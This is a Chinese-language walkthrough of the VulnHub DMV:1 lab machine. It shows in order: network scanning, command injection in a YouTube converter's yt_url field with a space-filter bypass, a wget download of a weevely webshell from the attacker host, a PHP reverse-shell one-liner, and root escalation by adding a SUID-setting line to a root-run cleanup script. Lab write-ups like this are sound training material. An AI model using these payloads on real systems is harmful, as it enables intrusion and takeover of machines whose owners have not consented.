VulnHub DMV:1 Writeup

DMV:1详情见:https://www.vulnhub.com/entry/dmv-1,462/

靶机环境VirtualBox,连接VirtualBox Host-Only网卡,IP为:192.168.56.104

在这里插入图片描述
攻击机环境VMware,桥接模式,桥接至VirtualBox Host-Only网卡,IP为:192.168.56.177

在这里插入图片描述


扫描C段内存活主机

arp-scan -l

or

nmap -sP 192.168.56.1/24

在这里插入图片描述
Nmap扫描目标IP,收集信息

nmap -A -Pn -sSV -p- -T5 192.168.56.104

在这里插入图片描述
访问http://192.168.56.104/

在这里插入图片描述
这是一个Youtube视频在线转换工具

在这里插入图片描述
yt_url处存在命令注入

在这里插入图片描述
手测了一下发现过滤了空格,命令执行空格绕过网上有很多方法,自己找,这里使用${IFS}代替空格
在这里插入图片描述
发现wget命令可以使用

在这里插入图片描述
那就可以在本地开启一个http服务,在上面放一个木马,然后靶机使用wget进行下载,攻击机连接获得shell

首先用weevely生成一个木马

weevely generate seanz7 ./shell.php

在这里插入图片描述
然后在当前路径开启一个http服务,这里使用python开启

python -m SimpleHTTPServer 8080

构造命令下载shell

yt_url=1;wget${IFS}http://192.168.56.177:8080/shell.php;

在这里插入图片描述
在攻击机上我们也可以看到靶机下载了shell.php

在这里插入图片描述
weevely连接

weevely http://192.168.56.104/shell.php seanz7

在这里插入图片描述
第一个flag在admin/flag.txt
在这里插入图片描述
tmp/下有个clean.sh

在这里插入图片描述

pspy检测进程

pspy: https://github.com/DominicBreuker/pspy/releases

用上传shell.php同样的方法将pspy64传到靶机上,但是weevely的shell无法运行成功pspy64,无奈使用php弹了一个shell到攻击机上,发现可以运行成功

php -r '$sock=fsockopen("192.168.56.177",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

在这里插入图片描述
在这里插入图片描述
可以看到root用户执行了clean.sh

在这里插入图片描述
www-data用户对这个文件有读写的权限

在这里插入图片描述
先看第一种做法:
find命令添加s权限
在这里插入图片描述

echo "chmod u+s /usr/bin/find" >> clean.sh

在这里插入图片描述
再次查看find命令的权限,已成功添加s权限

在这里插入图片描述
然后使用find命令的-exec选项进行提权

find . -exec /bin/bash -p \;

这里我在使用weevely的shell的时候使用这条命令无法进行提权,最后还是用了php的反弹shell,弹了个shell给攻击机,然后攻击机上使用这条命令提权成功

得到最终的flag/root/root.txt

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mochu7777777/article/details/108861658